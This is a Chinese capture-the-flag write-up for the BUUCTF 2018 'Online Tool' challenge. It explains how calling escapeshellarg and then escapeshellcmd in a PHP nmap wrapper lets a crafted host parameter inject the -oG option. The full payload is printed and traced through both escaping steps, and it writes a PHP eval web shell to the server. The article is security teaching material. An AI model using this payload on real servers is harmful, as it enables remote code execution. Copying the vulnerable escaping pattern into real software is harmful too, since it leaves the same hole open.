escapeshellarg与escapeshellcmd共伤

Posted NineOnee

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了escapeshellarg与escapeshellcmd共伤相关的知识,希望对你有一定的参考价值。

escapeshellarg与escapeshellcmd共伤

前言

  • 环境:buuctf中[BUUCTF 2018]Online Tool
  • 知识点:escapeshellarg与escapeshellcmd共用漏洞
  • 参考:wp

做题

审计

<?php

if (isset($_SERVER[\'HTTP_X_FORWARDED_FOR\'])) {
    $_SERVER[\'REMOTE_ADDR\'] = $_SERVER[\'HTTP_X_FORWARDED_FOR\'];
}

if(!isset($_GET[\'host\'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET[\'host\'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER[\'REMOTE_ADDR\']);
    echo \'you are in sandbox \'.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

这题目也是看了好久的wp,太菜了

escapeshellarg


最主要的是会将传入的字符用单引号围起来,能使传入的字符当成字符,而不是shell命令了

就好比

<?php
$a=$_GET[a];
eval("echo $a".\';\');

如果没使用escapeshellarg就可以任意命令执行,如果使用了escapeshellarg


显然不会执行任意命令

escapeshellcmd


同样可以防止任意shell命令执行,因为它可以把&;之类的管道符转义掉

单独使用escapeshellargescapeshellcmd 中任意一个都不会出现问题,或者先使用escapeshellcmd 再使用escapeshellarg 也不会出现问题,唯有题目中先escapeshellargescapeshellcmd 会有漏洞

我们要rce,但是又不能拼接命令,就只能借用nmap参数,有-oG参数可以实现将命令和结果写到文件

​ 我们payload为 1\' shell \'

​ escapeshellarg >> \'1\'\'\' shell \'\'\'\'

​ escapeshellcmd >> \'1\'\\\'\' shell \'\\\'\'\'

​ 这样其实我们的shell已经可以被执行了

​ 就类似:

​ nmap -T5 -sT -Pn --host-timeout 2 -F \'1\'\\\'\' shell \'\\\'\'\'

最后我们的payload:

\' <?php @eval($_POST["mayi"]);?> -oG mayi.php \'

这里有个疑问是php代码这里在本地测试时不加引号会报错,但是这里不加引号却有用,很迷。。

最后需要注意

为啥不可以 直接输入命令去执行?
 因为经过escapeshellarg后会给2边加上单引号,此时放过去就类似 nmap \'-oG...\'这样完全就没有作用了,开始没注意想了蛮久没明白。
需要注意的是 ;|& 等符号会被 escapeshellcmd 转义导致最后无效,所以尽管绕过了单引号,还是不能使用&;之类的字符执行任意命令

payload 记得空格哟

正确的样式:
\' <?php @eval($_POST["mayi"]);?> -oG mayi.php \'

$host = escapeshellarg($host);
>>> \'\'\\\'\' <?php @eval($_POST["mayi"]);?> -oG mayi.php\' \\\'\'\'

$host = escapeshellcmd($host);
>>> \'\'\\\'\' \\<\\?php @eval($_POST["mayi"])\\;\\?\\> -oG mayi.php\' \\\\\'\'\'

# 等价于  \\<\\?php @eval($_POST["mayi"])\\;\\?\\> -oG mayi.php \\\\

# 根据解析规则
# 等价于  \\<\\?php @eval($_POST["mayi"])\\;\\?\\> -oG mayi.php
# 写入后  <?php @eval($_POST["mayi"]);?> -oG mayi.php
——————————————————————————————————————————
但是如果你的payload为:
?host=\' <?php @eval($_POST["mayi"]);?> -oG mayi.php\'
>>> \'\'\\\'\' \\<\\?php @eval($_POST["mayi"])\\;\\?\\> -oG mayi.php\'\\\\\'\'\'
>>> <?php @eval($_POST["mayi"]);?> -oG mayi.php\\\\
# 这样是不会被认为是php文件的。
#所以说必须后面要有 ‘ 而且前面要有空格哟。

以上是关于escapeshellarg与escapeshellcmd共伤的主要内容,如果未能解决你的问题,请参考以下文章

利用/绕过escapeshellarg/escapeshellcmd函数

escapeshellarg 和 escapeshellcmd 有啥区别?

雷林鹏分享:CodeIgniter文件上传错误:escapeshellarg() has been disabled for security reasons

如何在 Windows 上使用 escapeshellarg() 但“针对 Linux”(反之亦然)?

出于安全原因,Composer escapeshellarg() 已被禁用

PHP危险函数的持续学习